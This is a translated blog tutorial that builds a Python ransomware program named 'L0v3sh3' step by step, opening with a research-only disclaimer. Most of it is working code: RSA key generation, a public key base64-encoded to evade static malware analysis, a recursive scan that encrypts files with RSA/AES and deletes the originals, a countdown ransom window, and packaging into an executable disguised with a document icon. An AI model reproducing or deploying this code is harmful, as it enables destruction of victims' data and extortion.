Disclaimer: This article is for research purposes only, do not vandalize any computer except your own. If you try to make one ransomware really, then you’re breaking the law and you’ll end up in jail. Follow the right path, it’s easy to fall into a sinful path, brothers.
Join the channel Telegram of the AnonyViet 👉 Link 👈 |
P/s: The article is translated from Febi Mudiyanto, and I will use the first person to make it easier for you to understand.
What is Ransomware?
Ransomware is like malware or computer virus, but with one purpose is to encrypt data and ransom you. Your data is encrypted with asymmetric encryption and the virus only encrypts with the public key. There is a private key to decrypt your data back, but an attacker certainly won’t attach the private key to the virus.
Preparation steps to create ransomware
Before you build some program, you must understand what it will do. Here is a list of your requirements, you can also use your own.
1. The program must be an executable file and have the same icon as a document file.
2. The program must encrypt the data with the public key
3. After encryption, the program must delete the original files and change the encrypted file extension to “.L0v3sh3”.
4. The program must display a message with a countdown timer.
Write a Ransomware Program
Step 1 – Generate private key and public key
The code below is used to generate a private key (privateKey) and a public key (publicKey). Pretty easy to understand so I won’t explain further.
''' pip install pycryptodome ''' from Crypto.PublicKey import RSA key = RSA.generate(2048) privateKey = key.export_key() publicKey = key.publickey().export_key() # lưu khóa cá nhân vào tệp with open('private.pem', 'wb') as f: f.write(privateKey) # lưu khóa công khai vào tệp with open('public.pem', 'wb') as f: f.write(publicKey) print('Private key saved to private.pem') print('Public key saved to public.pem') print('Done')
After running the genKey.py file, you will have 2 files, private.pem and public.pem. Remember to save the private.pem file safely.
Step 2 – Public Key Encryption
The main purpose of encryption is to make the public key difficult to determine by static malware analysis. So I encode the public key with base64 and attach that key to my code.
You can use this command:
import base64 code = "aGkgZnJpZW5kcywgdGhpcyBpcyBiYXNlNjQgZW5jb2Rpbmc=" print(base64.b64decode(code))
So you can encrypt your private key, then decrypt it in the script.
import base64 with open('public.pem', 'rb') as f: public = f.read() print(base64.b64encode(public))
Step 3 – Encrypt some files in the folder
def scanRecurse(baseDir): for entry in os.scandir(baseDir): if entry.is_file(): yield entry else: yield from scanRecurse(entry.path)
The function above is a recursive function that scans directories and returns a bunch of files listed with the same path. Then I use the encryption function and provide a list of previously retrieved files.
import base64 import os from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP, AES ''' with open('public.pem', 'rb') as f: public = f.read() print(base64.b64encode(public)) ''' # Mã hóa khóa công khai bằng base64 pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t''' pubKey = base64.b64decode(pubKey) def scanRecurse(baseDir): ''' Quét thư mục và trả về danh sách tất cả các tệp. ''' for entry in os.scandir(baseDir): if entry.is_file(): yield entry else: yield from scanRecurse(entry.path) def encrypt(dataFile, publicKey): ''' sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép ''' # đọc dữ liệu từ tệp with open(dataFile, 'rb') as f: data = f.read() # chuyển đổi dữ liệu sang byte data = bytes(data) # tạo đối tượng khóa công khai key = RSA.import_key(publicKey) sessionKey = os.urandom(16) # mã hóa khóa phiên bằng khóa công khai cipher = PKCS1_OAEP.new(key) encryptedSessionKey = cipher.encrypt(sessionKey) # mã hóa dữ liệu bằng khóa phiên cipher = AES.new(sessionKey, AES.MODE_EAX) ciphertext, tag = cipher.encrypt_and_digest(data) # lưu dữ liệu được mã hóa vào tệp [ fileName, fileExtension ] = dataFile.split('.') encryptedFile = fileName + '_encrypted.' + fileExtension with open(encryptedFile, 'wb') as f: [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ] print('Encrypted file saved to ' + encryptedFile) fileName="test.txt" encrypt(fileName, pubKey)
And for decrypt function you can use below command.
def decrypt(dataFile, privateKeyFile): ''' sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép ''' # đọc khóa cá nhân từ tệp with open(privateKeyFile, 'rb') as f: privateKey = f.read() # create private key object key = RSA.import_key(privateKey) # đọc dữ liệu từ tệp with open(dataFile, 'rb') as f: # read the session key encryptedSessionKey, nonce, tag, ciphertext = [ f.read(x) for x in (key.size_in_bytes(), 16, 16, -1) ] # giải mã khóa phiên cipher = PKCS1_OAEP.new(key) sessionKey = cipher.decrypt(encryptedSessionKey) # giải mã dữ liệu bằng khóa phiên cipher = AES.new(sessionKey, AES.MODE_EAX, nonce) data = cipher.decrypt_and_verify(ciphertext, tag) # lưu dữ liệu đã giải mã vào tệp [ fileName, fileExtension ] = dataFile.split('.') decryptedFile = fileName + '_decrypted.' + fileExtension with open(decryptedFile, 'wb') as f: f.write(data) print('Decrypted file saved to ' + decryptedFile)
Scan the file, encrypt it, and then change the extension.
import base64 import os from pathlib import Path from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP, AES # mã hóa khóa công khai bằng base64 pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t''' pubKey = base64.b64decode(pubKey) def scanRecurse(baseDir): ''' Quét một thư mục và trả về danh sách tất cả các tệp ''' for entry in os.scandir(baseDir): if entry.is_file(): yield entry else: yield from scanRecurse(entry.path) def encrypt(dataFile, publicKey): ''' Đầu vào: đường dẫn đến tệp để mã hóa, khóa công khai Đầu ra: tệp được mã hóa với phần mở rộng .L0v3sh3 và xóa tệp gốc sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép ''' # đọc dữ liệu từ tệp extension = dataFile.suffix.lower() dataFile = str(dataFile) with open(dataFile, 'rb') as f: data = f.read() # chuyển đổi dữ liệu sang byte data = bytes(data) # tạo đối tượng khóa công khai key = RSA.import_key(publicKey) sessionKey = os.urandom(16) # mã hóa khóa phiên bằng khóa công khai cipher = PKCS1_OAEP.new(key) encryptedSessionKey = cipher.encrypt(sessionKey) # mã hóa dữ liệu bằng khóa phiên cipher = AES.new(sessionKey, AES.MODE_EAX) ciphertext, tag = cipher.encrypt_and_digest(data) # lưu dữ liệu được mã hóa vào tệp fileName= dataFile.split(extension)[0] fileExtension = '.L0v3sh3' encryptedFile = fileName + fileExtension with open(encryptedFile, 'wb') as f: [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ] os.remove(dataFile) # thay đổi thư mục thành thư mục của script # giữ an toàn khi thay đổi thư mục, # KHÔNG CHẠY SCRIPT NÀY TRÊN PC CỦA BẠN directory = '../' # THAY ĐỔI CHỖ NÀY excludeExtension = ['.py','.pem', '.exe'] # VỚI ĐỔI CHỖ NÀY for item in scanRecurse(directory): filePath = Path(item) fileType = filePath.suffix.lower() if fileType in excludeExtension: continue encrypt(filePath, pubKey)
For testing, I will use the root of this program folder to scan and encrypt with this script.
Here is my directory before running the malware:



Here is my directory after running the malware:


We have created a python program to encrypt the file and change the file extension.
Step 4 – Countdown timer and message after encryption is complete
Just copy the command below and paste it at the end of the script.
import tkinter as tk def countdown(count): # thay đổi văn bản trong label # count="01:30:00" hour, minute, second = count.split(':') hour = int(hour) minute = int(minute) second = int(second) label['text'] = '{}:{}:{}'.format(hour, minute, second) if second > 0 or minute > 0 or hour > 0: # Gọi hàm countdown lại sau 1000ms (1s) if second > 0: second -= 1 elif minute > 0: minute -= 1 second = 59 elif hour > 0: hour -= 1 minute = 59 second = 59 root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second)) root = tk.Tk() root.title('L0v3sh3 Ransomware') root.geometry('500x300') root.resizable(False, False) label1 = tk.Label(root, text="Your data is under rest, please don\"t pay me,\nthis just simulation !!\n\n', font=('calibri', 12,'bold')) label1.pack() label = tk.Label(root,font=('calibri', 50,'bold'), fg='white', bg='blue') label.pack() # Gọi hàm countdown lần đầu tiên countdown('01:30:00') # root.after(0, countdown, 5) root.mainloop()
Final Step – Create Executable with auto-py-to-exe
You can download the entire script herejust copy it but don’t forget to understand what you wrote.
Launch Ransomware
Conclusion
Is this a dangerous project? Be careful when you run the program, make sure you change the directory and try it in the virtual machine.
You can modify the reverse, decrypting .L0v3sh3 files. Just change the encryption function with decryption.
As a precaution, you should enable file extensions view to distinguish different executables.